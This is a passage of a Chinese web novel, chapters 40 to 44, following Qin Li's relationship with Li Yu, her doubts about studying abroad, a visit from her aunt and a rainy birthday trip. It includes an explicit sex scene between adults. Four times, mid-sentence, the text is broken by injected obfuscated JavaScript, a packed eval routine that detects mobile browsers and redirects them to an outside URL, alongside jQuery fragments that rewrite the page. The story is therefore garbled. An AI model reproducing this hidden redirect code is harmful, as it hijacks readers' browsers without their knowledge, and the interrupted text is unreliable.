对面发来了通话邀请,秦离才反应过来,连忙下梯子去开灯,慌乱之下崴脚了。她顾不得脚踝的疼痛,打开大灯,在镜子里瞥见自己红肿的双眼,狠狠按了按。 这时,铃声已经响了十来秒了,秦离才接通。 【阿羽……】 她调整镜头,找到显脸小的角度,同时让自己的眼肿显得不那么明显。 黎羽确实在酒店。她坐在床上,穿着黑色的长袖,有些长的头发将脖子遮得严严实实,除了脸,镜头里看不到一点皮肤。 不知道是房间里灯光有些暗,还是镜头的原因,秦离不太看得清她的表情,只觉得她看着很累。 看到人了,一瞬间,心疼压过了自我纠结,秦离询问:“这几天很辛苦吗?” “嗯。” 秦离总觉得黎羽的声音听上去有些可怜,心疼得更厉害了。 “小乖……我好想你。” 声音通过听筒,跨越一千六百多公里的距离,在耳边响起,带着暧昧的回音。 秦离的心一下子就软了。 归根到底,脑子里那些胡思乱想都是她的猜测,她不能拿这些去跟黎羽生气,就认为是她的错啊。 “我也很想你。”秦离的声音软软的。 “再过五天,哦不,三天,三天后我就回来。” “嗯,”感受到黎羽的迫切,秦离心中欢喜,“那我等你回来。” 大片阴霾褪去,却仍然有小团在角落里盘旋着。秦离终究是没忍住,试探着问道:“你这几天都在忙些什么啊,这么累。” “就项目上的一些事。”黎羽说完,似乎是想起之前答应秦离的,又多补充了两句,“这次董老师谈到了一个外地的活动,我们前期已经做了很多编曲了,还出了一个节目,这次是到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370170|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现场看效果,以及和客户谈进一步合作的事。” 见黎羽说得很清楚,秦离更是觉得白天是自己胡思乱想了。但既然问了,就干脆问到底。 “是在柳城吗?” 黎羽愣了下,笑着问道:“怎么,都在问地方了,不会是又想突然跑过来吧。” 听她说暑假的事,秦离有点不好意思:“不是啦,我白天给你打过电话,是你一个朋友接的,说你在柳城嘛。” 这次,黎羽回答得很快:“是,还挺巧的。下午那会我正在和客户谈话,手机落在外面休息室了。接电话的可能是董老师的妹妹,不是我们公司的,见过几次,这次刚好跟着董老师过来玩。” “这样啊。” 黎羽的话说得通,秦离没有再想了。 跟秦离说了会话,黎羽的精神也好些了。她注意到秦离的眼睛:“怎么眼睛红红的,是……哭了吗?” 秦离有些不好意思,支支吾吾的。 黎羽安慰她:“是因为考试的事吗?结果还没出来,说不定没有想象中那么糟呢。而且这次如果不行,之后还可以再考,来得及的。” 黎羽的声音很温柔,秦离的眼睛又发酸了。她眨眨眼,把眼泪憋了回去,笑着道:“没事的。如果考不好,我就干脆不出国了吧。” “……” 黎羽愣住了,望着镜头,半天才开口,声音有些干涩:“小乖,别说气话。” 秦离本来是冲动开口的,说出口后倒是真的这么觉得了。 “我说真的。其实这两天我也想了想,和朋友都聊了聊,发现出国也不是必须的。我也不是对哪个学校或者哪个专业特别有执念,考试也没考出来,绩点还不行,哎,大一大二全凭兴趣选课,好几门打分都不高。我现在可能都晚了,其他朋友好多都是已经递了好些申请,和教授都谈好了呢。” 秦离叽里呱啦说了一大堆,越说越觉得自己肯定来不及了,不如想想其他出路吧。其实考研或者工作,感觉都不错呢。 “你好好想清楚就行,还有时间,不着急的。” 听她这么说着,黎羽声音又恢复了平静,但是状态看上去比之前好了些。 秦离嘿嘿笑着,打算回头先查查考研的事。 “好了,小乖,你等下买点药敷下眼睛,不然明天会肿的。” “……应该不会吧?”秦离有些犯懒不想动,最后干脆从柜子翻出不知道什么时候买的眼膜敷上,冰冰凉凉。 她带着手机爬回上铺,趴着继续跟黎羽闲聊,直到室友都回来,才恋恋不舍挂了电话。 【那你尽量早点回来啊,我等你。[抱抱][亲亲]】 【嗯,早点休息吧,别老熬夜了。[摸头]】 【嗯![乖巧]】 听黎羽的话,发完消息后,虽然没有睡意,秦离仍然熄了屏幕,平躺着。 窗外的灯光时不时照进来,映得蚊帐白晃晃的,将她包裹在中间,小小的空间,很有安全感。 秦离闭着眼,脑子里依旧有很多东西在飞。 她忽略那些繁琐复杂的东西,只在回想黎羽的声音,她的笑,她唤自己的名字。 小乖…… 41. Chapter 41 第二天,秦离感觉喉咙痛,鼻子堵,估计是昨天淋了雨又没换衣服,感冒了,昨天崴到的脚踝也隐隐作痛。 不过这点小感冒和小伤对她来说是家常便饭,她并不太在意。 决定不出国后,身上的担子一下子就轻了好多,时间也空出来了。秦离抱着泡面、火腿肠和脆脆鲨三件套,美滋滋点开神秘博士还有火炬木小组,快乐着。 有这么多季可以慢慢看,真好啊。 嘻嘻。 黎羽的生日就在两周后了,那条围巾才刚开了个头。秦离思量着,这两周要把围巾织完,然后做好临城旅游计划。 她算了算时间,翘三天的课,她们可以连着周末玩五天。酒店的话,还好这个时候应该是淡季了,不算太贵。秦离挑得眼花缭乱,随便选了几家,打算等黎羽回来后,商量着决定。 白天爽够了,晚上秦离开始熬夜织围巾。 她选择的已经是最简单的织法了,而且毛线店老板还帮着起了个头。但即便如此,她还是织的很慢,一个晚上晕晕乎乎的才织了手指长的一截。这么算下来,估计每天都得加班加点弄,才能赶得上了生日送出去了。 可能是熬夜熬晚了,隔天秦离起床时觉得天旋地转,头很昏,险些从梯子上栽了下去。 李清韵吓了一跳,连忙扶住她:“离离,你没事吧?” “没……没事,”她咳了几声,“估计是有点感冒。” 在李清韵的强力监督中,秦离总算是灌了包感冒冲剂下去。但从这几天起,她就一直咳嗽流鼻涕,老不见好,又不肯去找医生开药,还熬夜,越拖越厉害。 脚踝,也肿得凶些了。她翻出以前妈妈让她带着的跌打药,喷了点。 黎羽依旧很忙,说好的三五天,到时间了又说还得两三天。 秦离心中失落。 这天晚上要在L大上辅修课。秦离和南昕一起从宿舍骑车过去,路上秦离还不小心摔了跤,直呼倒霉。 到时已经过了上课点了,两人从后门溜进去,在后排随便找了个位置。 今天是李老师的民法课。她讲课风趣幽默,又会提到很多工作中遇到的案例,因此上座率算是比较高的,今天依旧如此。 李老师又讲到她做律师时候的事,在讲完今天的课程后,还调了些法考中的题目给大家尝鲜。 秦离平时听课还算是认真,习惯使然会做些笔记,但今天因为生病的原因晕乎乎的。她边揉着很不舒服的脚踝,便跟着老师的思路走,竟然把题目都做对了。 咦……这么来说,感觉法考也不是很难? 这样的念头突然在她脑海里冒了出来。 或许是考虑到学生们都大三了,李老师今天围绕法考和未来职业发展给大家讲了不少。秦离越听越觉得,走法学的路子,以后当律师或者去法院检察院都是不错的选择呀。 这样,或许可以把司法考试考了,同时考个法学的研究生来着。 她戳了戳南昕的手臂:“你之后要不要学法学?” “当然的呀。我最开始选辅修法学,就是想继续读研,然后做这方面的工作。” 秦离有些汗颜。她当初大二辅修选这个,纯粹是随便挑了个看着有意思的,因此也不很上心,三天打鱼两天晒网。南昕跟她不同,上课很认真,每节课都会来,有时候还会跟老师做些课间交流。 秦离跃跃欲试。 听了她的打算,南昕倒是很欢迎她和自己一道备考。 “明年年底考试,其实大多数人一般明年三四月开始准备差不多,晚的还有七八月开始的。不过我们是跨考,而且跨考的还比较远,因此是越早准备越好。你现在可以先看这些……” 南昕说了许多她的经验之谈,又介绍了一大堆参考书目,秦离都记下来了,当场在手机上全部下单了。 先买下来再说。 秦离雄心勃勃,畅想着如何列学习计划,等到考上了就可以继续留在梦城,和黎羽一起租个房子,过美好的两人生活。 她越想越兴奋,连身体的不适都忽视了,连忙给黎羽发消息。 【阿羽,我想考L大法学专业的研究生。刚好我不是在辅修法学嘛,也有些底子,备考起来没那么难。】 黎羽那边回得很快:【那很好呀,加油^_^】 见决定得到恋人的肯定,秦离多了点动力,说了更多自己的计划。 黎羽那边大概比较忙,消息回得断断续续的,但总有回应,不影响秦离的热情。后来黎羽说有事这会回不了消息了,秦离才停下。 下课回去的路上,秦离跟南昕也聊了不少,对计划多了些信心。 晚上,秦离躺在床上还在翻着法学考研的各种资讯和经验贴。 或许是因为黑夜来临,她翻着翻着,之前的那股兴奋劲过去,情绪开始下跌,又觉得似乎也没那么有意思了。 而且……自己真的喜欢法学吗?出来当律师是不是很难?听说律师刚开始工资都很低的,而且国内四大加班也很厉害,但如果是法院和检察院的话,感觉成为那种天天说官话说官事的人,好无聊啊。 真的……有意义吗? 秦离脑子里胡思乱想着,一会觉得好难,一会觉得这或许不是自己想要走的路。 晚上了,她咳嗽得更厉害,咳得撕心裂肺,接着便是干呕,好像要将五脏六腑都全部吐出来。鼻子也很堵,往左侧躺,往右侧躺,最后大张着嘴呼吸,像是离了岸的鱼。 难受……好难受…… 她给黎羽发了消息,但对面没回。 可能是没看见……可能是在忙…… 秦离更难受了。 她翻着微信、企鹅、大眼,看了很多朋友和基友发的动态,然后忍不住,给很多人发了消息过去。 【在吗,来聊天~】 【最近在出片计划吗?】 【你这两天是不是在看……】 逐渐的,手机不断震动,有很多消息回来了。秦离手指在键盘上飞快敲击,与七八个人同时聊着,心里的空洞也暂时被填满了。 只有忙碌,和很多人聊天的快乐忙碌。 这时,秦离收到崔明秀发来的消息。 【勺勺,睡了吗?】 【还没有呢,怎么啦,小姨。】 【最近忙不忙?我明天要到梦城来,有空我们吃个饭吧。】 【哇,好耶!^0^】 刚好趁着这个机会,秦离就跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370171|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姨交流着:【对了,小姨啊,我最近有点想考法学的研,你觉得怎么样?】 【嗯?你之前不是还说要出国吗?】 【是啦[对手指][对手指]但最近想了想,出去也不知道读什么,而且现在准备可能也晚了,我又刚好一直在辅修法学,觉得继续读法好像还不错呢。小姨你觉得呢?】 崔明秀直接打电话过来了,有点气势汹汹的感觉。 秦离莫名有点心虚,没有接电话。她坐起来,用纸巾堵住一边鼻子,给另一边鼻子通气,手上边给小姨发消息:【小姨,我在床上,这会比较晚,有室友都睡啦,不方便接电话。】 对面很快发消息过来:【行。勺勺,我问你哦,你是不是因为你对象的原因,才考虑不出国的?】 秦离更心虚了,但想想,觉得虽然有黎羽的原因,但大头还是自己内心的想法嘛。不然要是黎羽是去萨城,她可不会跟着一起去工作生活。 【没有啦,我是认真考虑过的。我最近和身边好多朋友聊过天了,发现她们都是很早就做了规划,特别是有个读法语的朋友,她大一就开始做准备了,很清楚自己要去什么学校,跟哪个教授。我呢,连出去读什么专业都没想好呢,这样还不如留在国内。都是读研嘛,我觉得法学还挺有趣的。】 崔明秀有一阵没回消息,似乎是在纠结,过了会才发过来一长串文字:【勺勺,我不确定这是不是你的真实想法。你已经是个成年人了,小姨也不应该干涉你的决定。我只是想说,你不要让任何人影响你对于未来的决定,特别是奔向更好平台发展的机会。我也不懂那么多,但觉得如果有机会去国外看看,会有更多机会和选择。不是说国外就一定比国内好,但看得多了你才能明白自己真正想要的是什么。】 透过文字,秦离仿佛能听见小姨严肃的语气。她心中烦闷,本来做好的决定又开始摇摆。 【那小姨你和邱姨呢?你不是也一直留在安城吗?如果邱姨要去其他城市,或者你要去,另一个人难道不会跟着一起吗?】 【这不一样。我们可以权衡考虑,不会因为另一个人牺牲自己的职业发展的。】 【我们也是一样的。】 秦离心里生闷气。她觉得小姨还是因为自己和黎羽是学生,在一起的时间又太短了,所以不信任她们之间的感情。 或许是察觉到她的抵触,崔明秀的语气又温和了些:【可能是我偏颇了,总之你要好好考虑。现在离毕业还早,不管是出国留学还是国内考研,都还有时间和机会的,或许继续读本专业也是不错的选择?小姨没什么文化,这方面也不了解,你多跟学姐学长还有老师们聊聊,听听她们的意见呢。】 【好哦。】 秦离的气又泄了。她知道小姨是为自己着想,况且多做点了解和准备也没错吧。 是哦,国内考研的话,不读法学,她也可以读本专业呀,像小雨那样。深耕一个领域,或许会更好些。 两人又转而聊了些轻松的话题,约好明天见面的时间。 夜已经很晚了,熄掉手机屏幕,秦离感觉脚踝更痛了。她用了大半包纸巾,整个鼻子红红的。 难受…… 人生好难……到底怎样做才是对的…… 42. Chapter 42 崔明秀来梦城谈跟一个大客户的合作,约着秦离在市区吃晚饭。秦离坐了一个半小时的地铁过去,身体不见好,依旧晕乎乎的。 见面后,看她感冒得厉害,崔明秀有点生气:“病了多久了,有没有去医院开药?” “……快一周了。” 秦离有些心虚,但看着崔明秀急着带她先找附近诊所开了感冒药,处理脚踝上的伤,又有点开心。 “这些药一天三次,敷药每晚睡前敷上,早上起来拆掉,要按时用药,好好爱惜自己的身体啊。”崔明秀细细叮嘱着。 她接着感慨:“反正我是上了年纪了,身体不是这痛就是那痛。还是年轻好啊……算了算了,越说越像那些长辈以前对我说的话了。哎,我也成为小时候最讨厌的人了,啰啰嗦嗦的。” “哪有~这不是小姨关心我嘛。”秦离笑嘻嘻的,乖巧应着。 崔明秀本来是迁就秦离,选了家火锅店,现在换成了粥底火锅。这么多年,她的口味早变了,吃这个倒是更习惯些。 两人闲聊着,多数是秦离在说自己的生活和爱好。聊着聊着,自然就聊到昨晚说的出国和考研事。 秦离不知道崔明秀想了一夜,只看她面上淡定,说话依旧和刚才一样随意,还以为她支持自己的决定,欢喜地接着昨晚说自己的安排。大体来说便是先准备考研,考完后,大四压力没那么大了,可以边找份相关的实习,边准备司法考试,等读研了再考虑是研究生毕业工作还是继续读博。 一直读下去,然后在高校教书,感觉也不错呢。 她想起本校的专业课老师,一个月工资好像是一万多,基本在梦城生活应该是没什么问题了。 不过如果要读到博士出来的话,或许还是读英语本专业比较好吧。 崔明秀听她说完才道:“听上去是挺好的,在国内继续读书也不错,有什么情况家里也方便照应。” “是吧,国内国外,反正都是读研嘛,再说研究生期间说不定也有出国交流的机会。” 秦离想得很美好,又为得到小姨的肯定而美滋滋的。 “不过,”崔明秀话头一转,“你的想法跟你妈爸说了吗?也可以听听她们的意见。” “……还没呢,等我先把计划做好,实施一段时间有效果了再说,这样也显得我更有行动力。反正还早嘛。” 崔明秀点头,没有在这个话题上多纠结了。 她又问了黎羽的事,知道黎羽去外地出差了,也没再多问。接着,崔明秀说了更多她经历中有趣的事,遇到的形形色色的人,秦离听得津津有味。 桌上氛围一下子变得轻松。 饭后,崔明秀带她在江边走走。 梦城的夜晚灯火通明。江这边是过往各国留下来的建筑,现在变成银行了,各色霓虹灯亮着十分漂亮。江那边是最繁荣的金融区,还有很出名的明珠电视塔,秦离从来没去过,也不是很感兴趣。 十一月初的夜晚,风已经有点冷了。秦离穿得不多,两人没走一会,崔明秀便道:“今天就先这样吧,这儿离你学校远,你还感冒着呢,早点回去休息。” “好哦。”只是过来吃个饭,秦离也觉得很累了,点头应着。 崔明秀坚持给她招了辆出租车,又塞了两千块钱。秦离推辞了一次,没推成功,就收下了,心里还是开心的。 崔明秀抱了抱她,有些不舍,感慨:“我们勺勺真的是,已经这么大了啊,转眼都要二十岁了。” 彼时,秦离还没有对时光飞逝的恐惧,总认为未来还很长,什么都有时间慢慢去准备。她觉得自己已经是大人了,但对亲人还有很强的依赖,回抱了小姨,也很舍不得。 崔明秀摸了摸她的头,眼里有秦离还看不懂的东西:“好好照顾自己,有什么事都可以找小姨。” “好哦。^0^” 这车打回梦城花了两百多,秦离在出租车上看着计价表狂跳,一阵肉痛,感慨下次再也不打车了。 或许是那个诊所医生的药起效了,也可能是秦离下决定后心情变了,她的身体很快好了起来,没两天就又活蹦乱跳的。 而且,更开心的是,黎羽要回来了。 黎羽难得主动打来电话,而不是惯常的发消息,声音听上去有些激动:“小乖,我明天下午一点的飞机,三点半到。你在学校吗,等我回来我们一起去吃好吃的吧。” “好呀好呀!” 秦离也很开心。才七天没见,但她觉得仿佛有半个世纪没有看到黎羽了。 好想她。 她查了航班号,决定跑去机场接她。 第二天,秦离一大早就起来了。她挑了件浅蓝色的大衣,戴了个浅棕色的发带,化妆倒腾到十二点,门口随便买了个饭团将就后,便揣着一颗怦怦跳的心出发了。 到机场时才不到两点半,秦离在出口处的显示屏前找了个位置坐着,边刷番边等飞机到。 今天梦城的天气很好,难得出了点太阳,但落在人身上没有一点温度。 机场里暖烘烘的,让人昏昏欲睡。秦离看着看着,小眯了下,醒来发现已经过三点半了。她慌忙起身,才发现飞机晚点了,大概半小时后到。 这下,秦离不敢再坐着了,跑到出口处的栏杆前站着,伸长脖子,等着最后半个小时。 黎羽出来的时间远比半个小时要久。 因为想要给她个惊喜,秦离没有提前跟她说自己要来。她又看了下航班,再三确定飞机已经到了,而最近的出口就是这里。 又等了十来分钟,秦离仍没有看到人。就在她终于忍不住要打电话时,终于看到了熟悉的身影。 黎羽拖着个很大的箱子,就她一个人,看着有些疲惫,没什么表情,但没有之前时不时萦绕在身上的阴霾感。 秦离高举右手挥舞着,大喊:“阿羽!” 黎羽愣了下,左右看了看,直到秦离又喊了两声,才终于锁定人,脸上露出惊喜,急切地大步走过来:“小乖,你怎么来了?” 她难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370172|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得情绪外露,手臂动了动,最终还是抬手将秦离抱在怀里。 “看到我这么开心啊。”秦离回抱,有些得意。 “开心,”黎羽将头埋在秦离的颈上,微微动着,像是在撒娇,“很开心。” 得到意外的回应,秦离更开心。她想,或许这次工作真的太辛苦了,隔着电话,才会感受不到黎羽的情绪。现在工作结束了,就又恢复成原来的样子了。 黎羽的箱子很大,秦离叫了个车,打回去接近两百块。 四期附近新开了家烤肉店,据说味道很好。两人先回宿舍放了箱子,然后走路去吃,果然如期待的那样好吃。 今天,黎羽面色红润,似乎比平时情绪更高涨。她主动和秦离说起去临城旅游的事,还说回去后有礼物给她。 秦离脸上的笑容也变多了,跟她商量着。两人定下九号下午出发,十三号晚上再回来。黎羽说她已经和公司那边说好了,请一周的假。 真好啊,真好。 秦离心中满满的幸福。 晚上,黎羽打开箱子,给秦离看要送她的礼物。 一张她喜欢的乐队专辑,一条兔子项链,还有两套黑白相间,像熊猫的睡衣。 “怎么不是兔子就是熊猫呀,你这是什么刻板印象。” 秦离吐槽着,嘴角的弧度却一直没落下来。 “专辑是在出差时路过一家音像店看到的,我记得之前在望月湖边你说过很喜欢这个歌手。兔子项链是觉得很像你,睡衣……我就是刚好看到想买了。” 那只小兔子抱了个胡萝卜,耳朵竖起来,懵懂的样子似乎确实和秦离有一点神似。 “真是的……”,秦离嘟囔着,看着黎羽专注的眼神,笑着回应,“谢谢,我很喜欢。” 接下来的一切水到渠成。 洗澡后,两人换上情侣睡衣。黎羽关了顶灯,只留了一盏很暗的小夜灯。空气开始变得粘腻缠绵,缓慢流动。 黑暗中,两人只能看清对方的轮廓。 “小乖……” 黎羽没有脱下衣服,却已经哄得身下人毫无遮掩地展现在她面前。她用吻一寸寸丈量她的皮肤,亲吻她全身。她胸前有一块硬币大小的伤痕,是小时候被烫到的。黎羽说它像蝴蝶,亲吻着,舔舐着,轻咬着,痒意传到了秦离心里。 今夜的黎羽,唇异常滚烫,点燃了秦离全身的火,最后聚集到一处。 小小的单人床上,被白色蚊帐包裹着的空间里,她们两个人紧紧交缠在一起,占据了所有存在。 酸软……颤抖……喘息……渴望…… 秦离交出了身体全部的控制权,紧紧环住黎羽的后颈,只能随着她的动作沉浮着,又陷入更深的欲望。 秦离身上没有一块布料,浑身水淋淋的,汗水成滴,从抬高的脚弯处往下滑落到脚踝,然后落在了床单上。她绷紧了脚趾,大脑一片混沌,只能听从黎羽的指令打开。 今晚的夜很深,粘稠的水声隐隐约约,一直到很晚,很晚。 43. Chapter 43 十一月九日很快就到了。 秦离早就买好了火车票,一个小时出头就到临城。她下了血本,定了塘湖旁边的酒店,五天的湖景房,即使是淡季,价格也不低。两人都不是什么有钱人,AA分摊下来,也是不少钱了,肉疼。 到酒店时才下午三点,两人刚放下行李,外面就下起了淅淅沥沥的小雨。 “哇——” 窗帘拉开,秦离透过落地窗正好可以看见大片塘湖和标志性景点白桥。这个季节湖里都是干枯的荷叶,老柄空荡荡地摇晃着,垂首贴在水面上。雨水入湖荡开一圈圈涟漪,无数的波纹往外扩散着,鱼儿早被惊走了。 秦离推开窗户,一阵冷风吹来,夹杂着冰凉的雨丝,大半落在了开放式阳台上。她趴在栏杆上,伸手去接雨滴,不在乎身上被淋湿。 “别淋雨,小心又感冒了。”黎羽将她拉回安全地带,擦去她脸上的水滴。 秦离眼睛弯弯,很兴奋:“但是这雨感觉好舒服啊,而且塘湖,白桥,下雨天,天啊这太配了,快,我们买把油纸伞去桥上看风景吧。” 她完全陷入浪漫幻想中,期待将想象中的一切变成现实。 黎羽依着她。 恰好酒店楼下的纪念品店就有卖油纸伞的,秦离选了把最贵的,两人并肩撑着,慢悠悠朝白桥走去。 秋雨缠绵,白桥上没什么人。 两人踏在青石板上,手臂紧紧贴着。这把油纸伞不算太大,有雨丝飘进来,打湿了外侧的衣袖。黎羽不着痕迹地将伞朝秦离那边偏了些。 秦离嘴里哼着应景的塘湖人妖相恋剧插曲,脚步雀跃。 这白桥,与所有地方的所有水边的桥没有什么区别,甚至并不长,却因为特别的故事、特别的情愫,有了特别的意义。 油纸伞下,两人自成一个世界,只有彼此的体温是世间唯一的热意。 短短一段,很快就走完了。 秦离穿得并不多,寒秋细雨让她忍不住打了个喷嚏。黎羽道:“雨在变大,我们先回去吧,等放晴了再过来。” 秦离揉揉鼻子,也觉得差不多了:“好哦。” 离开前,秦离惯例拿出手机想自拍合照。她斜着方向,正挑着合适的角度和背景时,突然被人从旁边撞了下,手没拿稳,手机甩了出去。 “我的手机!” 秦离惊呼,眼睁睁看着它以圆润的弧度飞出去,扑通一声掉进湖里。 罪魁祸首全身罩着黑衣,慌乱奔跑着,撞到人也没停下,继续往前,转眼就看不到身影了。 黎羽忙扶住她:“没事吧?” “没事,就是我的手机,啊啊啊,那什么人啊!” 这段没有监控,况且人已经跑没影了,秦离生气也无济于事。她手机掉了,身上也淋湿了大半,心情糟透了。 这下,什么旖旎气氛都没有了。两人回酒店换了身衣服,只得打车先去买个新手机。 秦离之前用的是三星,什么都好就是卡的很,到现在开相册也要开半天,这么来说就当本来就要换个新手机吧,她这么安慰自己。 她正想着这次是不是试一试iphone,高中时候用过陆希意的苹果系列,一直觉得很好用。这时,黎羽提议:“小乖,要不要试试索爱?” 她自己用的就是索爱。 最后,秦离还是选了索爱,绿色系的一款,很漂亮,跟黎羽的很像。 秦离有点蔫,出来玩的第一天就出师不利,败兴致。两人补完电话卡,吃了点东西回酒店休息。 然而,这好像只是这次临城之旅不幸的开始。 到半夜,秦离被窗边惊天一声雷吵醒,看见漆黑的天空被闪电劈得四分五裂,接着是更多的雷鸣。原本白日里的淅沥小雨变成倾盆大雨,响声不断宛如世界末日。 她迷迷糊糊睁眼,感叹着:“这雨……是老天奶拿个盆在疯狂往下泼吧。” 黎羽早醒了,靠坐在床头,翻着手机:“我看了下,接下来几天都是暴雨天气。” “啊……算了,明天再说吧,睡觉。”秦离翻个身,抱住黎羽,将她拽进被窝里,接着睡。 接下来几天,果然应了天气预报显示的,雨水就没停过,一直是瓢泼大雨,路上完全没有行人,连店铺都关了几间。 “啊——” 秦离惨叫。这样原本的计划也全部泡汤了。 黎羽安慰她:“没事,我们就在房间里呆着看看电影也行,我点外卖送点好吃的,你要吃什么?” “好吧。”秦离委屈巴巴。 然后,她就怒干了一整碗石锅拌饭。 好的是,味道很好,虽然因为暴雨,外卖员送得很慢,有点冷了。 感恩社会进步,有外卖的存在。 第一天,两人又挑了部拉拉电影看,是上次秦离就选好的——《阿黛尔的生活》。她第一眼就被蓝发的艾玛深深吸引,然后就是……猝不及防的大尺度亲密戏。这尺度可比之前看的《指匠情挑》要大多了。 两人看着看着,就自然而然地把电影丢到一边,越靠越近…… 接下来几天都是如此,看电影,在手机上翻到什么东西都可以聊很久,欢笑着,然后就是触碰,拥抱,亲吻,上床。 雨稍微小点的时候,她们也会打着伞去湖边溜达,有次被突如其来的暴雨困在了某家小店。 老板是做麻辣烫生意的,店里很小,只有三张长条桌子并排放着。秦离选了菜后,老板说她家辣椒很累,问秦离能吃辣吗,秦离心想临城的辣椒能有多辣,自然是习惯性说能加多辣就多辣,然后…… 就被辣麻了。 黎羽在旁边一边憋笑一边给她递水。 秦离狂灌了大半瓶水,才问道:“老板你家辣椒这么凶的啊?” 老板挠挠头,冒了方言:“是啊,我是星城的。” “……” 秦离没话说了,行吧,论辣,星城是比她们南城更牛。 陌生的城市,两人之间,能认识和依赖的只有对方。其他所有人都是萍水相逢,擦肩而过,只有她们之间是一直牵扯着的。 只有彼此。 秦离喜欢这种感觉,即使只是一件很小的事,也能开心很久。 大雨将她们困在了某个地方,似乎也是件很幸福的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370173|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期间还发生了件事,两人随便开着电视节目时,阴差阳错看到本地频道上公告近期抓到的故意伤人逃犯。两人一看,这不就是第一天在白桥撞到秦离的黑衣人吗? 黎羽有些后怕。那天天色昏暗,白桥又没什么人,幸好那人应该是急着逃跑,没有对她俩出手。 秦离倒是扁扁嘴,嘀咕着,看来手机钱是彻底要不回来了。 时间过得很快,转眼就到十二号晚上了。晚上十一点四十多,秦离准备开始布置房间, “你坐在那里,闭上眼,不许偷看!” 于是,黎羽依着她的要求,坐在床上,嘴角扬着笑意:“好。”然后闭眼等待着。 秦离换上装备,又跑去拉上窗帘,在房间角落里摆上许多蜡烛和鲜花,关掉了所有灯。 房间里骤然变暗,黎羽歪头问道:“小乖?” 秦离正在和蛋糕盒的带子搏斗呢,慌忙喊着:“你别急呀,不准睁眼。” “嗯,不急,你慢慢来。”黎羽笑着,在床上换了个姿势,盘腿坐着,单手支着下巴,头朝着秦离这边。 虽然知道黎羽还听她话闭着眼呢,秦离还是仿佛感受到了她的视线,手上有点抖,取出蛋糕时弄糊了一点。 秦离懊悔,舔掉手上蹭到的奶油,将蜡烛插上去,先放在桌上。随后,她从包里取出早已织好的围巾,踩着如鼓的心跳走过去,围在了黎羽的脖子上。 “小乖?”感受到有点毛刺又柔软的触感,黎羽猜测,“是你织的围巾吗?深紫色那条。” “你怎么知道!”秦离惊呼,有点气鼓鼓的,“你偷看了!” 黎羽表情无辜:“你之前跟我视频的时候,织了一半的围巾就放在旁边,我想不看见都难哦。总不会是小乖织给其他人的吧?” 秦离懊恼,怎么就提前被黎羽看见了呢。 这时,黎羽鼻子动了动,在她手上亲了一口:“你闻起来好甜,是拆好蛋糕吗?” “哎呀,你讨厌!”秦离抓狂着,“全部都被你猜出来,一点惊喜都没有了。” 黎羽无奈。 蛋糕倒不是很难猜,但这时候可不能说出来,惹着秦离可不行。 秦离看着时间,跑去点燃蜡烛,将蛋糕端了过来,凑到她面前,声音变得软乎乎的:“好了,你睁眼吧。” 时间到了新的一天。 黎羽缓缓睁开眼,看见的便是凑到她面前,端着心形蛋糕的秦离。她头上戴了个狐狸耳朵,毛绒绒的,还会随着她的动作微微动着。 “生日快乐,阿羽。” 暧昧的橙色烛光中,秦离的眼睛很亮。她嘴唇微抿着,含羞带笑,连带着脸颊上的酒窝都显得小巧可爱。 黎羽只觉得砰的一声,正中红心,心跳如鼓。烛光下,她能看清秦离脸上每一点微小的动作。她情不自禁凑过去,想靠近她心心念念的那片唇。 “蜡烛!先许愿,再吹蜡烛啦!” 黎羽不情不愿顿住,应着秦离的要求闭眼许愿,然后快速吹灭蜡烛,然后揽着秦离的腰,拉近。 终于…… 尝到了最甜的味道。 44. Chapter 44 “蛋糕!蛋糕!” 秦离抵着黎羽的肩膀,小心护着蛋糕不被压到。还好黎羽也不是昏了头,顾着距离,一吻结束,蛋糕还安好。 秦离瞪了她一眼:“这可是我特意跟店家商量的定制款,不能毁了。” 蛋糕上散落着小羽毛,白色的。秦离之前老不满意,在手机上拉着老板改了好多版,才有了现在这种轻盈的感觉。 